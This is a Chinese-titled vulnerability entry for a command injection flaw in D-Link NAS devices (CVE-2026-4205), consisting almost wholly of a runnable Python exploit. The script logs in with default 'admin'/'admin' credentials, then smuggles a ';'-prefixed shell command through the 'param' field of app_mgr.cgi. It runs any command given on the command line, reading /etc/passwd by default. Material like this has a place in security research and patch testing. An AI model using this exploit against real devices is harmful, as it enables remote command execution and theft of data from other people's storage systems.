D-Link多型号NAS设备命令注入漏洞(CVE-2026-4205)

#!/usr/bin/env python3 """ CVE-2026-4205 D-Link NAS Command Injection PoC Target: /cgi-bin/app_mgr.cgi Functions: cgi_refresh_db, FTP_Server_BlockIP_Add, FTP_Server_BlockIP_Del """ import requests import sys TARGET = "http://<target-ip>" LOGIN_URL = f"{TARGET}/cgi-bin/login.cgi" EXPLOIT_URL = f"{TARGET}/cgi-bin/app_mgr.cgi" def login(): """Authenticate with low-privilege credentials""" data = { "username": "admin", "password": "admin" } try: resp = requests.post(LOGIN_URL, data=data, timeout=10) return resp.cookies except: return {} def exploit_command_injection(cookies, function, cmd): """ Inject command via specified function function: cgi_refresh_db | FTP_Server_BlockIP_Add | FTP_Server_BlockIP_Del cmd: command to execute (e.g., 'cat /etc/passwd') """ payload = f";{cmd}" data = { "cmd": function, "param": payload } try: resp = requests.post(EXPLOIT_URL, data=data, cookies=cookies, timeout=10) return resp.text except Exception as e: return f"Error: {e}" if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target-ip> [command]") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] if len(sys.argv) > 2 else "cat /etc/passwd" TARGET = f"http://{target}" LOGIN_URL = f"{TARGET}/cgi-bin/login.cgi" EXPLOIT_URL = f"{TARGET}/cgi-bin/app_mgr.cgi" print(f"[*] Logging in to {target}...") cookies = login() print(f"[*] Exploiting {EXPLOIT_URL} with command: {cmd}") result = exploit_command_injection(cookies, "cgi_refresh_db", cmd) print(f"[+] Result:\n{result}")